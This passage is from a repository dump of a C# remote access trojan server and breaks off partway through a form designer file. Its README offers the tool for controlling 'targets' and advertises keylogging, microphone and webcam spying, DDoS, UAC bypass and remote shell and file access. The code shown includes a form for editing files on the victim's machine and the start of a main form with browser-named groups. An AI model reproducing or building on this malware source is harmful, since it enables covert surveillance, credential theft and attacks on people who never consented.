Showing preview only (1,432K chars total). Download the full file or copy to clipboard to get everything.
Repository: AdvancedHacker101/C-Sharp-R.A.T-Server
Branch: master
Commit: 776f827268b4
Files: 30
Total size: 1.4 MB
Directory structure:
gitextract_r3z1z34n/
├── .gitattributes
├── .gitignore
├── CODE_OF_CONDUCT.md
├── CONTRIBUTING.md
├── LICENSE
├── README.md
├── TutServer/
│ ├── App.config
│ ├── Edit.Designer.cs
│ ├── Edit.cs
│ ├── Edit.resx
│ ├── Form1.Designer.cs
│ ├── Form1.cs
│ ├── Form1.resx
│ ├── Program.cs
│ ├── Properties/
│ │ ├── AssemblyInfo.cs
│ │ ├── Resources.Designer.cs
│ │ ├── Resources.resx
│ │ ├── Settings.Designer.cs
│ │ └── Settings.settings
│ ├── RDesktop.Designer.cs
│ ├── RDesktop.cs
│ ├── RDesktop.resx
│ ├── TutServer.csproj
│ ├── app.manifest
│ ├── bin/
│ │ └── Debug/
│ │ └── NAudio.xml
│ ├── remotePipe.Designer.cs
│ ├── remotePipe.cs
│ └── remotePipe.resx
├── TutServer.sln
└── TutServer.v12.suo.doc
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitattributes
================================================
###############################################################################
# Set default behavior to automatically normalize line endings.
###############################################################################
* text=auto
###############################################################################
# Set default behavior for command prompt diff.
#
# This is need for earlier builds of msysgit that does not have it on by
# default for csharp files.
# Note: This is only used by command line
###############################################################################
#*.cs diff=csharp
###############################################################################
# Set the merge driver for project and solution files
#
# Merging from the command prompt will add diff markers to the files if there
# are conflicts (Merging from VS is not affected by the settings below, in VS
# the diff markers are never inserted). Diff markers may cause the following
# file extensions to fail to load in VS. An alternative would be to treat
# these files as binary and thus will always conflict and require user
# intervention with every merge. To do so, just uncomment the entries below
###############################################################################
#*.sln merge=binary
#*.csproj merge=binary
#*.vbproj merge=binary
#*.vcxproj merge=binary
#*.vcproj merge=binary
#*.dbproj merge=binary
#*.fsproj merge=binary
#*.lsproj merge=binary
#*.wixproj merge=binary
#*.modelproj merge=binary
#*.sqlproj merge=binary
#*.wwaproj merge=binary
###############################################################################
# behavior for image files
#
# image files are treated as binary by default.
###############################################################################
#*.jpg binary
#*.png binary
#*.gif binary
###############################################################################
# diff behavior for common document formats
#
# Convert binary document formats to text before diffing them. This feature
# is only available from the command line. Turn it on by uncommenting the
# entries below.
###############################################################################
#*.doc diff=astextplain
#*.DOC diff=astextplain
#*.docx diff=astextplain
#*.DOCX diff=astextplain
#*.dot diff=astextplain
#*.DOT diff=astextplain
#*.pdf diff=astextplain
#*.PDF diff=astextplain
#*.rtf diff=astextplain
#*.RTF diff=astextplain
================================================
FILE: .gitignore
================================================
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
# User-specific files
*.suo
*.user
*.userosscache
*.sln.docstates
# User-specific files (MonoDevelop/Xamarin Studio)
*.userprefs
# Build results
[Dd]ebugPublic/
[Rr]elease/
[Rr]eleases/
x64/
x86/
bld/
[Oo]bj/
[Ll]og/
# Visual Studio 2015 cache/options directory
.vs/
# Uncomment if you have tasks that create the project's static files in wwwroot
#wwwroot/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
# NUNIT
*.VisualState.xml
TestResult.xml
# Build Results of an ATL Project
[Dd]ebugPS/
[Rr]eleasePS/
dlldata.c
# DNX
project.lock.json
project.fragment.lock.json
artifacts/
*_i.c
*_p.c
*_i.h
*.ilk
*.meta
*.obj
*.pch
*.pdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.svclog
*.scc
# Chutzpah Test files
_Chutzpah*
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opendb
*.opensdf
*.sdf
*.cachefile
*.VC.db
*.VC.VC.opendb
# Visual Studio profiler
*.psess
*.vsp
*.vspx
*.sap
# TFS 2012 Local Workspace
$tf/
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
*.DotSettings.user
# JustCode is a .NET coding add-in
.JustCode
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# NCrunch
_NCrunch_*
.*crunch*.local.xml
nCrunchTemp_*
# MightyMoose
*.mm.*
AutoTest.Net/
# Web workbench (sass)
.sass-cache/
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.[Pp]ublish.xml
*.azurePubxml
# TODO: Comment the next line if you want to checkin your web deploy settings
# but database connection strings (with potential passwords) will be unencrypted
#*.pubxml
*.publishproj
# Microsoft Azure Web App publish settings. Comment the next line if you want to
# checkin your Azure Web App publish settings, but sensitive information contained
# in these scripts will be unencrypted
PublishScripts/
# NuGet Packages
*.nupkg
# The packages folder can be ignored because of Package Restore
**/packages/*
# except build/, which is used as an MSBuild target.
!**/packages/build/
# Uncomment if necessary however generally it will be regenerated when needed
#!**/packages/repositories.config
# NuGet v3's project.json files produces more ignoreable files
*.nuget.props
*.nuget.targets
# Microsoft Azure Build Output
csx/
*.build.csdef
# Microsoft Azure Emulator
ecf/
rcf/
# Windows Store app package directories and files
AppPackages/
BundleArtifacts/
Package.StoreAssociation.xml
_pkginfo.txt
# Visual Studio cache files
# files ending in .cache can be ignored
*.[Cc]ache
# but keep track of directories ending in .cache
!*.[Cc]ache/
# Others
ClientBin/
~$*
*~
*.dbmdl
*.dbproj.schemaview
*.jfm
*.pfx
*.publishsettings
node_modules/
orleans.codegen.cs
# Since there are multiple workflows, uncomment next line to ignore bower_components
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
#bower_components/
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file
# to a newer Visual Studio version. Backup files are not needed,
# because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
# SQL Server files
*.mdf
*.ldf
# Business Intelligence projects
*.rdl.data
*.bim.layout
*.bim_*.settings
# Microsoft Fakes
FakesAssemblies/
# GhostDoc plugin setting file
*.GhostDoc.xml
# Node.js Tools for Visual Studio
.ntvs_analysis.dat
# Visual Studio 6 build log
*.plg
# Visual Studio 6 workspace options file
*.opt
# Visual Studio LightSwitch build output
**/*.HTMLClient/GeneratedArtifacts
**/*.DesktopClient/GeneratedArtifacts
**/*.DesktopClient/ModelManifest.xml
**/*.Server/GeneratedArtifacts
**/*.Server/ModelManifest.xml
_Pvt_Extensions
# Paket dependency manager
.paket/paket.exe
paket-files/
# FAKE - F# Make
.fake/
# JetBrains Rider
.idea/
*.sln.iml
# CodeRush
.cr/
# Python Tools for Visual Studio (PTVS)
__pycache__/
*.pyc
/TutServer/bin/Debug/TutServer.vshost.exe.manifest
/TutServer/bin/Debug/TutServer.vshost.exe.config
/TutServer/bin/Debug/TutServer.vshost.exe
/TutServer/bin/Debug/TutServer.exe.config
/TutServer/bin/Debug/TutServer.exe
/TutServer/bin/Debug/scripts/WebPlugin.dll
/TutServer/bin/Debug/scripts/AndroidExtension.dll
================================================
FILE: CODE_OF_CONDUCT.md
================================================
# Contributor Covenant Code of Conduct
## Our Pledge
In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation.
## Our Standards
Examples of behavior that contributes to creating a positive environment include:
* Using welcoming and inclusive language
* Being respectful of differing viewpoints and experiences
* Gracefully accepting constructive criticism
* Focusing on what is best for the community
* Showing empathy towards other community members
Examples of unacceptable behavior by participants include:
* The use of sexualized language or imagery and unwelcome sexual attention or advances
* Trolling, insulting/derogatory comments, and personal or political attacks
* Public or private harassment
* Publishing others' private information, such as a physical or electronic address, without explicit permission
* Other conduct which could reasonably be considered inappropriate in a professional setting
## Our Responsibilities
Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.
## Scope
This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.
## Enforcement
Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at ghost@mcghost.ddns.net. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.
Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.
## Attribution
This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version]
[homepage]: http://contributor-covenant.org
[version]: http://contributor-covenant.org/version/1/4/
================================================
FILE: CONTRIBUTING.md
================================================
# Contribution
**Thank you for considering contribution to the C\# R.A.T Server Project!**
## How to contribute?
It's very simple!
1. Fork the project
2. Make the changes
3. Issue a pull request
4. I will do a merge after verifying (in some cases changing) the code
## How to report bugs?
You can simply use the *Issues* section on github
Just write an issue, and i will try to respond within 24 hours!
## How to contribute? (without writing code)
You can also do this on the *Issues* section, and i will label it as *enhancement*
This way you can suggest new features, or change an older one without coding.
I will try to respond within 24 hours!
## How to run / compile
I use Visual Studio 2017 Community Edition.
The program is written in c\# and built with .NET Framework 4.5
Any additional requirements can be found under TutServer/bin/debug
## How to ask questions?
You can also use the *Issues* section on GitHub, i will assign a label to it, so it's different from bugs.
I will try to respond within 24 hours!
You can also contact me at my [Youtube Channel](https://www.youtube.com/channel/UCYIOySp8zTTWJG5-n8wpZ2g)
Either a comment on the video about the topic, or a message at the *Discussion* section on my channel page
================================================
FILE: LICENSE
================================================
Advanced Hacking 101 Project Licence
short and simple
You are free to do anything with this project, as long as you credit me and the project
Links to the project are enough
================================================
FILE: README.md
================================================
# C\# R.A.T Server
This is the server program of the c# R.A.T.
You will need to run this program on your computer, and not on the target's machine.
The targets will connect to you with the help of this program.
**This is not a virus but serval AV will flag it as it's a virus.**
You need to build your own binary from this source code, so no trust issues.
The executable is NOT published on this site, if you want the .exe you have to build the project using Visual Studio.
The .dll files are published, because the project will not start without them.
You need to select allow if the firewall prompt window come's up or the program can't open the TCP Server.
## Contains the basic features like:
- Remote Desktop
- Keylogger
- Mic and Cam spy
- DDoS
- Fun menu
- Remote cmd prompt
- Process manager
- File manager
- Plugin Support
- UAC Bypass
- Probing Methods
This software is **open source**, you can use the code, or pieces of it in your own project.
Or you can just use my project and change the needed values.
You can check out the client [here](https://github.com/AdvancedHacker101/C-Sharp-R.A.T-Client)
## More Information
You can view the project licence [here](https://github.com/AdvancedHacker101/C-Sharp-R.A.T-Server/blob/master/LICENSE)
You can read the code of conduct [here](https://github.com/AdvancedHacker101/C-Sharp-R.A.T-Server/blob/master/CODE_OF_CONDUCT.md)
You can read how to contribute [here](https://github.com/AdvancedHacker101/C-Sharp-R.A.T-Server/blob/master/CONTRIBUTING.md)
*Happy Coding!*
**\-Advanced Hacking 101**
================================================
FILE: TutServer/App.config
================================================
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
</startup>
<runtime>
<loadFromRemoteSources enabled="true"></loadFromRemoteSources>
</runtime>
</configuration>
================================================
FILE: TutServer/Edit.Designer.cs
================================================
namespace TutServer
{
partial class Edit
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.richTextBox1 = new System.Windows.Forms.RichTextBox();
this.button1 = new System.Windows.Forms.Button();
this.button2 = new System.Windows.Forms.Button();
this.button3 = new System.Windows.Forms.Button();
this.button4 = new System.Windows.Forms.Button();
this.button5 = new System.Windows.Forms.Button();
this.button6 = new System.Windows.Forms.Button();
this.button7 = new System.Windows.Forms.Button();
this.checkBox1 = new System.Windows.Forms.CheckBox();
this.SuspendLayout();
//
// richTextBox1
//
this.richTextBox1.Location = new System.Drawing.Point(12, 12);
this.richTextBox1.Name = "richTextBox1";
this.richTextBox1.Size = new System.Drawing.Size(660, 418);
this.richTextBox1.TabIndex = 0;
this.richTextBox1.Text = "";
//
// button1
//
this.button1.Location = new System.Drawing.Point(597, 436);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(75, 23);
this.button1.TabIndex = 1;
this.button1.Text = "Save";
this.button1.UseVisualStyleBackColor = true;
this.button1.Click += new System.EventHandler(this.button1_Click);
//
// button2
//
this.button2.Location = new System.Drawing.Point(516, 436);
this.button2.Name = "button2";
this.button2.Size = new System.Drawing.Size(75, 23);
this.button2.TabIndex = 2;
this.button2.Text = "Cancel";
this.button2.UseVisualStyleBackColor = true;
this.button2.Click += new System.EventHandler(this.button2_Click);
//
// button3
//
this.button3.Location = new System.Drawing.Point(435, 436);
this.button3.Name = "button3";
this.button3.Size = new System.Drawing.Size(75, 23);
this.button3.TabIndex = 3;
this.button3.Text = "Undo";
this.button3.UseVisualStyleBackColor = true;
this.button3.Click += new System.EventHandler(this.button3_Click);
//
// button4
//
this.button4.Location = new System.Drawing.Point(354, 436);
this.button4.Name = "button4";
this.button4.Size = new System.Drawing.Size(75, 23);
this.button4.TabIndex = 4;
this.button4.Text = "Redo";
this.button4.UseVisualStyleBackColor = true;
this.button4.Click += new System.EventHandler(this.button4_Click);
//
// button5
//
this.button5.Location = new System.Drawing.Point(273, 436);
this.button5.Name = "button5";
this.button5.Size = new System.Drawing.Size(75, 23);
this.button5.TabIndex = 5;
this.button5.Text = "Encrypt";
this.button5.UseVisualStyleBackColor = true;
this.button5.Click += new System.EventHandler(this.button5_Click);
//
// button6
//
this.button6.Location = new System.Drawing.Point(192, 436);
this.button6.Name = "button6";
this.button6.Size = new System.Drawing.Size(75, 23);
this.button6.TabIndex = 6;
this.button6.Text = "Decrypt";
this.button6.UseVisualStyleBackColor = true;
this.button6.Click += new System.EventHandler(this.button6_Click);
//
// button7
//
this.button7.Location = new System.Drawing.Point(111, 436);
this.button7.Name = "button7";
this.button7.Size = new System.Drawing.Size(75, 23);
this.button7.TabIndex = 7;
this.button7.Text = "Clear";
this.button7.UseVisualStyleBackColor = true;
this.button7.Click += new System.EventHandler(this.button7_Click);
//
// checkBox1
//
this.checkBox1.AutoSize = true;
this.checkBox1.Location = new System.Drawing.Point(12, 440);
this.checkBox1.Name = "checkBox1";
this.checkBox1.Size = new System.Drawing.Size(70, 17);
this.checkBox1.TabIndex = 8;
this.checkBox1.Text = "Write File";
this.checkBox1.UseVisualStyleBackColor = true;
this.checkBox1.CheckedChanged += new System.EventHandler(this.checkBox1_CheckedChanged);
//
// Edit
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(684, 473);
this.Controls.Add(this.checkBox1);
this.Controls.Add(this.button7);
this.Controls.Add(this.button6);
this.Controls.Add(this.button5);
this.Controls.Add(this.button4);
this.Controls.Add(this.button3);
this.Controls.Add(this.button2);
this.Controls.Add(this.button1);
this.Controls.Add(this.richTextBox1);
this.Name = "Edit";
this.Text = "Edit";
this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.Edit_FormClosing);
this.Shown += new System.EventHandler(this.Edit_Shown);
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.RichTextBox richTextBox1;
private System.Windows.Forms.Button button1;
private System.Windows.Forms.Button button2;
private System.Windows.Forms.Button button3;
private System.Windows.Forms.Button button4;
private System.Windows.Forms.Button button5;
private System.Windows.Forms.Button button6;
private System.Windows.Forms.Button button7;
private System.Windows.Forms.CheckBox checkBox1;
}
}
================================================
FILE: TutServer/Edit.cs
================================================
using System; //For basic system functions
using System.Collections.Generic; //For list
using System.Drawing; //For form graphics
using System.Windows.Forms; //For form interaction and controls
using sCore.UI; //The plugin core UI
#pragma warning disable IDE1006
namespace TutServer //The application namespace
{
/// <summary>
/// Class that handles editing of text based files
/// </summary>
public partial class Edit : Form
{
#region Global Variables
/// <summary>
/// The conten to edit
/// </summary>
private string content;
/// <summary>
/// Reference to the main form
/// </summary>
private Form1 prt;
#endregion
#region Form and Editor
/// <summary>
/// Create a new file editor
/// </summary>
/// <param name="textFile">The file content to edit</param>
/// <param name="parent">Reference to the main form</param>
public Edit(String textFile, Form1 parent)
{
content = textFile; //Set the edit content
prt = parent; //Set the main form reference
InitializeComponent(); //Init the controls
}
/// <summary>
/// Editor loaded the controls and the form
/// </summary>
/// <param name="sender">The sender of the event</param>
/// <param name="e">The event args</param>
private void Edit_Shown(object sender, EventArgs e)
{
richTextBox1.ReadOnly = true; //Set mode to read only
richTextBox1.BackColor = SystemColors.Window; //Set the color to window (not the grayish color you get for read only)
richTextBox1.Text = content; //Set the editor content
CommonControls.editorTextBox = richTextBox1; //Notify the plugins of the file editor
}
/// <summary>
/// Enable/Disable the read only property of the editor
/// </summary>
/// <param name="sender">The sender of the event</param>
/// <param name="e">The event args</param>
private void checkBox1_CheckedChanged(object sender, EventArgs e)
{
bool isReadOnly = !checkBox1.Checked; //Get the state of read only
richTextBox1.ReadOnly = isReadOnly; //Set the read only state
}
/// <summary>
/// Clear the whole editor text
/// </summary>
/// <param name="sender">The sender of the event</param>
/// <param name="e">The event args</param>
private void button7_Click(object sender, EventArgs e)
{
richTextBox1.Clear(); //Clear the editor box
}
/// <summary>
/// Decrypt the contents of the file
/// </summary>
/// <param name="sender">The sender of the event</param>
/// <param name="e">The event args</param>
private void button6_Click(object sender, EventArgs e)
{
try //Try
{
string[] lines = richTextBox1.Lines; //Get the lines of the text
List<string> decrypted = new List<string>(); //Declare a new list for decrypted lines
for (int i = 0; i < lines.Length; i++)//Go through each encrypted line
{
string line = lines[i];
decrypted.Add(prt.Decrypt(line)); //decrypt the line and add it to the list
}
richTextBox1.Lines = decrypted.ToArray(); //Set the decrypted lines as the text
richTextBox1.Refresh(); //Refresh the richTextBox's display
}
catch (Exception ex) //Can't decrypt
{
MessageBox.Show(this, "Error", "Error trying to decrypt content!\n" + ex.Message, MessageBoxButtons.OK, MessageBoxIcon.Error); //Notify the user
}
}
/// <summary>
/// Encrypt the editor text
/// </summary>
/// <param name="sender">The sender of the event</param>
/// <param name="e">The event args</param>
private void button5_Click(object sender, EventArgs e)
{
try //Try
{
string[] lines = richTextBox1.Lines; //Get the lines of the text
List<string> encrypted = new List<string>(); //Declare a new list for encrypted lines
for (int i = 0; i < lines.Length; i++)//Go through each plain text line
{
string line = lines[i];
encrypted.Add(prt.Encrypt(line)); //Encrypt the lines and add it to the list
}
richTextBox1.Lines = encrypted.ToArray(); //Set the editor content to the encrypted lines
richTextBox1.Refresh(); //Refresh the editor display
}
catch (Exception ex) //Can't encrypt
{
MessageBox.Show(this, "Error", "Error trying to encrypt content!\n" + ex.Message, MessageBoxButtons.OK, MessageBoxIcon.Error); //Notify the user
}
}
/// <summary>
/// Redo the last change made to the content
/// </summary>
/// <param name="sender">The sender of the event</param>
/// <param name="e">The event args</param>
private void button4_Click(object sender, EventArgs e)
{
richTextBox1.Redo(); //Redo a change
}
/// <summary>
/// Undo the last change made to the content
/// </summary>
/// <param name="sender">The sender of the event</param>
/// <param name="e">The event args</param>
private void button3_Click(object sender, EventArgs e)
{
richTextBox1.Undo(); //Undo the last change
}
/// <summary>
/// Close without saving
/// </summary>
/// <param name="sender">The sender of the event</param>
/// <param name="e">The event args</param>
private void button2_Click(object sender, EventArgs e)
{
Close(); //Close the form
}
/// <summary>
/// Save the file on remote client
/// </summary>
/// <param name="sender">The sender of the event</param>
/// <param name="e">The event args</param>
private void button1_Click(object sender, EventArgs e)
{
prt.SaveFile(richTextBox1.Text); //Save the file
}
/// <summary>
/// Form Closing event (not saving the file)
/// </summary>
/// <param name="sender">The sender of the event</param>
/// <param name="e">The event args</param>
private void Edit_FormClosing(object sender, FormClosingEventArgs e)
{
CommonControls.editorTextBox = null; //Remove the editro reference from the plugins
}
#endregion
}
}
================================================
FILE: TutServer/Edit.resx
================================================
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
================================================
FILE: TutServer/Form1.Designer.cs
================================================
namespace TutServer
{
partial class Form1
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.Windows.Forms.ListViewGroup listViewGroup1 = new System.Windows.Forms.ListViewGroup("Google Chrome", System.Windows.Forms.HorizontalAlignment.Left);
System.Windows.Forms.ListViewGroup listViewGroup2 = new System.Windows.Forms.ListViewGroup("Internet Explorer", System.Windows.Forms.HorizontalAlignment.Left);
System.Windows.Forms.ListViewGroup listViewGroup3 = new System.Windows.Forms.ListViewGroup("Firefox", System.Windows.Forms.HorizontalAlignment.Left);
this.tabControl1 = new System.Windows.Forms.TabControl();
this.tabPage1 = new System.Windows.Forms.TabPage();
this.label24 = new System.Windows.Forms.Label();
this.label2 = new System.Windows.Forms.Label();
this.button2 = new System.Windows.Forms.Button();
this.listView1 = new System.Windows.Forms.ListView();
this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader3 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader4 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader5 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.button1 = new System.Windows.Forms.Button();
this.label1 = new System.Windows.Forms.Label();
this.tabPage2 = new System.Windows.Forms.TabPage();
this.button6 = new System.Windows.Forms.Button();
this.label12 = new System.Windows.Forms.Label();
this.richTextBox1 = new System.Windows.Forms.RichTextBox();
this.label11 = new System.Windows.Forms.Label();
this.button5 = new System.Windows.Forms.Button();
this.comboBox3 = new System.Windows.Forms.ComboBox();
this.label10 = new System.Windows.Forms.Label();
this.button4 = new System.Windows.Forms.Button();
this.button3 = new System.Windows.Forms.Button();
this.textBox3 = new System.Windows.Forms.TextBox();
this.label9 = new System.Windows.Forms.Label();
this.label8 = new System.Windows.Forms.Label();
this.label7 = new System.Windows.Forms.Label();
this.label6 = new System.Windows.Forms.Label();
this.label5 = new System.Windows.Forms.Label();
this.label4 = new System.Windows.Forms.Label();
this.comboBox2 = new System.Windows.Forms.ComboBox();
this.comboBox1 = new System.Windows.Forms.ComboBox();
this.textBox2 = new System.Windows.Forms.TextBox();
this.textBox1 = new System.Windows.Forms.TextBox();
this.label3 = new System.Windows.Forms.Label();
this.tabPage3 = new System.Windows.Forms.TabPage();
this.button13 = new System.Windows.Forms.Button();
this.button12 = new System.Windows.Forms.Button();
this.label14 = new System.Windows.Forms.Label();
this.button11 = new System.Windows.Forms.Button();
this.button10 = new System.Windows.Forms.Button();
this.button9 = new System.Windows.Forms.Button();
this.button8 = new System.Windows.Forms.Button();
this.button7 = new System.Windows.Forms.Button();
this.label13 = new System.Windows.Forms.Label();
this.tabPage4 = new System.Windows.Forms.TabPage();
this.button14 = new System.Windows.Forms.Button();
this.comboBox4 = new System.Windows.Forms.ComboBox();
this.textBox4 = new System.Windows.Forms.TextBox();
this.label17 = new System.Windows.Forms.Label();
this.label16 = new System.Windows.Forms.Label();
this.label15 = new System.Windows.Forms.Label();
this.listView2 = new System.Windows.Forms.ListView();
this.columnHeader6 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader7 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader8 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader9 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader10 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader11 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.contextMenuStrip2 = new System.Windows.Forms.ContextMenuStrip(this.components);
this.killToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.refreshToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.tabPage5 = new System.Windows.Forms.TabPage();
this.textBox5 = new System.Windows.Forms.TextBox();
this.richTextBox2 = new System.Windows.Forms.RichTextBox();
